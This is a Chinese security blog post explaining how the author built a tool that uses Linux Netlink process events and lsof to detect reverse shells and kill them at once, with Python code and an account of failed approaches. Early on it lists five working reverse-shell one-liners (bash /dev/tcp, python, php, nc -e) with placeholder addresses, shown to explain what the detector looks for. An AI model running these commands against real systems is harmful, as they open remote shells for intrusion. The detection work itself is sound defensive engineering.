*本文作者:zhanghaoyil,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。
前言
当命令注入点已经到手,Webshell已经就绪,nc已经监听起来了,冒新鲜热气儿的Shell唾手可得的那种狂喜,大家还记得吗?反弹Shell一般是外网渗透的最后一步,也是内网渗透的第一步。反弹Shell对服务器安全乃至内网安全的危害不必多说。
虽然本diao主要是玩Web安全的,可主机安全监控也是要做起来的,谁让咱是一个人的安全部呢?最近笔者潜心搞了一个反弹Shell攻击自动发现和阻断系统,本着技术共享的理念,当然也是为了让各位大神看看有没有绕过的可能,把这个技术分享出来,大家共勉。
项目GitHub: Seesaw
0x1 反弹Shell解析
未知攻,焉知防?我们先来分析一下反弹Shell这个不新的渗透技术,看看有什么入手点。反弹Shell顾名思义,有两个关键词——反弹和Shell。
反弹:利用命令执行/代码执行/Webshell/Redis未授权访问写入crontab等等漏洞,使目标服务器发出主动连接请求,从而绕过防火墙的入站访问控制规则。
Shell:使服务器Shell进程stdin/stdout/stderr重定向到攻击端。
常见的反弹Shell姿势有(详见文章):
bash -i >& /dev/tcp/ip/port 0>&1
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
php -r 'exec("bash -i >& /dev/tcp/ip/port 0>&1");'
php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'
nc -e /bin/bash ip port
通过仔细观察,我们可以发现这些姿势无一例外使用了重定向,这也是识别反弹Shell的突破口,且听笔者细细道来。
我们知道Linux中一切皆文件,正常情况下打开Bash进程时,Bash进程的stdin、stdout、stderr会定向到终端设备文件(例如/dev/pts/0),如下示意图:
此时Bash打开的文件描述符为:
可以看到bash进程已经打开了对应的字符设备文件描述符,用于将stdin(0u)/stdout(1u)/stderr(2u)等定向到字符设备。
当出现反弹Shell时,例如最流行的姿势bash -i >& /dev/tcp/ip/port 0>&1,我们来解析一下这条命令的意思。
bash -i:启动交互式bash进程
& /dev/tcp/ip/port:将stdout/stderr重定向到与ip:port的tcp套接字中
0>&1:将stdin重定向到stdout中(此时stdout是重定向到套接字的,也就是说stdin也将从套接字中读取)
综上,这条命令是为了控制Bash进程,并获得进程的标准输出和错误输出,采用重定向技术将stdin/stdout/stderr重定向到了套接字设备中,此时输入输出的结构发生了变化,如下示意图:
通过lsof命令可以看到此时的文件描述符打开情况:
可以发现stdin(0u)/stdout(1u)/stderr(2u)全都重定向到了TCP套接字中,而且此时进程所属的用户也变成了apache(运行Web服务的用户),当前路径就是Webshell所在的目录。
先知社区有不错的反弹Shell重定向分析:Linux反弹shell(一)文件描述符与重定向、Linux 反弹shell(二)反弹shell的本质。本文借鉴学习了这些文章内容,也正是通过对文章内容的学习启发了以上我对反弹Shell的特征提取思路,比心。
0x2 总体思路
综合上述分析,反弹Shell的识别思路便浮出水面:
及时发现Bash进程启动事件。
检查Bash进程是否打开了终端设备,是否有主动对外连接。
0x3 失败尝试
思路是有了,实现时却发现困难重重,第一个深坑,就是如何在第一时间捕捉到Shell进程的启动。为什么要第一时间呢?如果给了黑客短暂的操作窗口,就可能被植入更深层的木马/rootkit,甚至提权后直接把咱的监控程序干掉,这是绝对不能容忍的。
在这个深坑里,笔者扑腾了好几回,下面介绍在坑中的各种尝试,以及最终的成功方法。为啥失败的经验还要说呢?其实这些思路本身不坏,只是不太适合我们的项目目标,顺便介绍给大家共勉。
Round 1 Sysloghistory of BASH
既然要发现Shell进程,第一个思路是从Bash本身入手,如果Bash执行命令,让Bash进程自己告诉我。编译Bash开启命令history syslog功能,从而获取bash命令、bash进程pid、uid、pwd之类有用的信息,正好之前做异常命令识别时有过这个经验,当时也借鉴了一些文章:安全运维之如何将Linux历史命令记录发往远程Rsyslog服务器。
说干就干,下载bash源码:https://ftp.gnu.org/gnu/bash/。
a. 打开config-top.h 116行注释,开启bash syslog history功能:
b. 在bashhist.c 771行和776行自定义需要的syslog内容和格式,比如我最爱的JSON,但由于命令内容容易出现引号、转义符等导致JSON解析不成功,单独放在一列:
c. 修改rsyslog配置/etc/rsyslog.conf,用于本地保存或者发送至远程日志服务器做分析,并重启rsyslog服务(service rsyslog restart):
至此,所有调用Bash执行的命令都被我们记录下来了:
是不是感觉胜利在望了?笔者当时也很兴奋。可是在测试中发现如果反弹命令前面带“sh -c”,就不会被记录。这是不能容忍的缺陷,可是为啥记录不到,找不到任何头绪。沮丧的同时笔者深入思考,这个方法是不适合用于监控Shell进程启动的,实际执行命令时再检查就太晚了。
Round 2 proc文件系统
此路不通不要气馁,再接再厉。我们知道Linux系统有一个proc伪文件系统,记录着当前内核运行状态等信息,还有以进程id为名的一堆目录,里面是与该进程相关的运行信息。能不能从proc文件系统下手,实时监控Shel进程呢?
第一反应是用inotify监控/proc目录创建目录的事件,一旦创建新目录就说明启动了新进程,再进行相应的检查。用pyinotify库写了一个监控程序:
class BashHandler(pyinotify.ProcessEvent):
def process_IN_CREATE(self, event):
print(event.path, event.name, event.dir, event.mask, event.maskname, event.pathname, event.wd)
if __name__ == '__main__':
wm = pyinotify.WatchManager()
mask = pyinotify.IN_CREATE
notifier = pyinotify.Notifier(wm, BashHandler())
wm.add_watch('/proc', mask, rec=False)
while True:
try:
notifier.process_events()
if notifier.check_events():
print('detached')
notifier.read_events()
except KeyboardInterrupt:
notifier.stop()
break
此时尴尬的事情出现了,inotify竟然捕捉不到任何/proc有关的读写事件!仔细研究inotify的实现原理才知道,inotify监视着文件inode,而proc伪文件系统只是内存的映射没有inode,自然不能通过inotify监控到。
Round 3 bash打开事件
此时我把目光又转回到bash本身。我们知道Bash进程启动也就是会打开/bin/bash这个可执行文件,能不能用inotify监控/bin/bash的打开事件呢?
inotifywait -m /bin/bash -e open
实践证明,这回inotify没有让我们失望,每次bash打开都被诚实地捕捉到了:
可是inotify太诚实了,甚至有点缺心眼,不会返回给我们打开文件的进程是谁。
此时更尴尬的事情出现了,当我们的程序捕捉到inotify事件从而对bash进程进行检查时,/bin/bash又会被打开!这就恐怖了,程序会进入到死循环里,出现打开事件,检查进程,结果自己导致了新的打开事件。物理学上这叫“自激”,KTV里这叫“啸叫”。
0x4 成功
Round 4 Netlink Socket
笔者越挫越勇,进入新一轮的研究。发现Linux有一个很好的IPC机制叫Netlink套接字,用于在内核与用户进程之间传递消息,其中就包括了进程事件信息!
Netlink使用标准的socket api,我们只需要创建对应类型的netlink socket并进行监听即可。参考:Netlink通信机制。
正好在GitHub上有一个基于netlink的python项目(https://github.com/dbrandt/proc_events),自动创建进程事件netlink socket并监听,返回一个yield生成器对象:
这个好极了,返回了很多有用的信息。我们只需要监听PROC_EVENT_EXEC事件,就可以获取新创建进程的tgid(也就是lsof要用到的PID)用于检查进程是否为反弹Shell。当然这个时候也需要采取必要的措施防止“自激”,我在代码使用了排除法,不检查lsof进程自身的pid。而之前没法防止自激,是因为inotify不能返回读写进程的pid。
利用Netlink套接字,我成功地实时捕捉到了Bash进程启动事件。后面的事情要顺利得多,只要使用lsof命令获取进程打开的文件描述符,应用上面所述的识别逻辑即可,详见代码(github项目agent/seesaw.py):
from proc_events.pec import pec_loop
import subprocess
import shlex
import traceback
import re
import os
white_list = ['192.168.204.5']
def check_for_reversed_shell(lsof):
'''
if the process was bash which had got remote socket and not got tty, then it must be a reversed shell.
:param lsof:
:return: positive: bool
peer: str remote socket
'''
fds = [x.strip() for x in lsof.split('\n') if x]
is_bash = has_socket = has_tty = False
peer = pwd = None
for fd in fds:
detail = fd.split()
fd = detail[3]
t = detail[4]
if t == 'CHR' and re.findall('(tty|pts|ptmx)', detail[-1]):
has_tty = True
elif 'IP' in t and detail[-1] == '(ESTABLISHED)':
has_socket = True
peer = detail[-2].split('->')[1]
elif 'txt' in fd and re.findall('bash', detail[-1]):
is_bash = True
elif 'cwd' in fd:
pwd = detail[-1]
if peer:
for ip in white_list:
if peer.startswith(ip+':'):
return False, None, None
return (is_bash and has_socket and not has_tty), peer, pwd
def deal(pid):
# simple and efficient kill
os.system('kill -9 %s' % (pid,))
if __name__ == "__main__":
self_pids = []
for e in pec_loop():
if e['what'] == 'PROC_EVENT_EXEC':
try:
#exclude lsof processes
if e['process_tgid'] in self_pids:
self_pids.remove(e['process_tgid'])
continue
else:
p = subprocess.Popen(shlex.split('lsof -p %s -Pn' % (e['process_tgid'])), stdout=subprocess.PIPE, stderr=subprocess.PIPE)
# prevent self-excitation
self_pids.append(int(p.pid))
out, err = p.communicate()
if out:
try:
positive, peer, pwd = check_for_reversed_shell(out)
if positive:
deal(e['process_tgid'])
print('######\n### Reversed Shell Detached ###\n'
'### pid:%s ###\n'
'### peer:%s ###\n'
'### webshell directory: %s ###\n'
'### Killed immediately. ###\n######' % (e['process_tgid'], peer, pwd))
except Exception as ex:
traceback.print_exc(ex)
except Exception as ex:
traceback.print_exc(ex)
0x5 演示视频
录了一个Demo视频,很小不到6M,流量党可放心观看。 Seesaw Demo
0x6 总结
自己对思考了一下,这个方法优缺点总结如下:
优点:
快速响应:由于Netlink通信机制占用系统资源很少,对于Shell进程启动事件的响应基本无延时,后续主动检测确认为反弹Shell后直接Kill。
绕过较难:由于一般反弹Shell的姿势都是调用bash且通过重定向获取bash的标准输入输出,因此没有前置经验的情况下基本都会被防御住。
信息全面:发现反弹Shell后,收集到Shell相关的信息包括PID、SID(可用于判断究竟是哪个进程组出现了漏洞)、当前路径(方便查找Webshell)、系统用户等,可以再深入挖掘这个技术的应用场景,也可以统一汇总到SOC等分析平台进行联动。
缺点:
绕过风险:仅能通过进程执行文件名判断是否为Shell进程,上传可执行文件、拷贝Bash文件到其他路径等方法会绕过这个方法。严格限制上传文件目录的执行权限、Bash文件权限可以有效限制这个风险。
检测盲区:无法检测到直接调用Webshell执行命令的事件,因此低权限无交互的命令可以通过Webshell执行到。
本文所述反弹Shell识别方法,并不完美,把自己的思路分享出来,算是抛转引玉吧,欢迎大家讨论。
*本文作者:zhanghaoyil,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。